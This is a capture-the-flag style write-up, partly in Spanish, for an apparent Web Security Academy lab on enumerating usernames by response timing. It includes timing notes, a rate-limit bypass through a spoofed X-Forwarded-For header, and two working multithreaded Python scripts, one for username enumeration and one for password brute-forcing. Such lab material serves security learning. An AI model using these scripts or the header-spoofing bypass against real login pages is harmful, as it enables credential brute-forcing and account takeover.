5 Username enumeration via response timing
Here we use our credentials to see how the response time varies depending on the input on password, when using correct credentials, correct username but incorrect passwords the behavior changes this way:
- usuario incorrecto + pass incorrecta : 900 ms
- usuario correcto + pass incorrecta : 896 ms casi igual que el anterior
- usuario correcto + blog de strings mediante
openssl rand -hex 200: 2.6 segundos - usuario incorrecto + blog de strings : 650 ms
conclusion: el usuario es correcto cuando la response es mayor de 3 segundos
En este caso primero realizo un benchmark del tiempo en milisegundos con las credenciales correctas y con las credenciales incorrectas.
Ademas cuenta con rate limit de intentos el cual puede ser eludido mediante headers en el siguiente header
X-Forwarded-For: 127.0.0.1
Mediante python
enumeracion de usuarios
#!/usr/bin/env python3
import requests
from threading import Thread
from time import sleep, time
from string import ascii_lowercase
import random
def fetchUsername(filename):
listUsername = list()
with open(filename) as fd:
for line in fd:
listUsername.append(line.strip())
return listUsername
def sendRequest(url, cookie, username, header):
randomPassword = ''.join(random.choices(ascii_lowercase, k=699))
loginData = {
'username': username,
'password': randomPassword
}
startTime = time()
requests.post(url, cookies=cookie, data=loginData, headers=header)
endTime = time()
# If the response time is greater than or equal to 3 seconds, it indicates that the user exists in the system.
if endTime - startTime >= 3:
print(f'[+] Found user: {username}')
def main():
url = 'https://0a3800ae046be0518436881800ea00de.web-security-academy.net/login'
cookie = {'session': 'TeWYCqHlJiGb7EUXaytH8DhqMYtW7EuW'}
userFileName = './users.txt'
listUsername = fetchUsername(userFileName)
count = 0
for username in listUsername:
count += 1
header = {'X-Forwarded-For': '1.1.1.' + str(count)}
thread = Thread(target=sendRequest, args=(url, cookie, username, header))
thread.start()
sleep(0.2)
if __name__ == '__main__':
main()
enumeracion de password
#!/usr/bin/env python3
import requests
from threading import Thread
from time import sleep
def fetchPassword(filename):
listPassword = list()
with open(filename) as fd:
for line in fd:
listPassword.append(line.strip())
return listPassword
def sendRequest(url, cookie, password, header):
loginData = {
'username': 'root',
'password': password
}
loginRequestText = requests.post(url, cookies=cookie, data=loginData, headers=header).text
if 'Invalid username or password.' not in loginRequestText:
print(f'[+] Found password: {password}')
def main():
url = 'https://0a3800ae046be0518436881800ea00de.web-security-academy.net/login'
cookie = {'session': 'TeWYCqHlJiGb7EUXaytH8DhqMYtW7EuW'}
passwordFileName = './pass.txt'
listPassword = fetchPassword(passwordFileName)
count = 0
for password in listPassword:
count += 1
header = {'X-Forwarded-For': '1.1.2.' + str(count)}
thread = Thread(target=sendRequest, args=(url, cookie, password, header))
thread.start()
sleep(0.2)
if __name__ == '__main__':
main()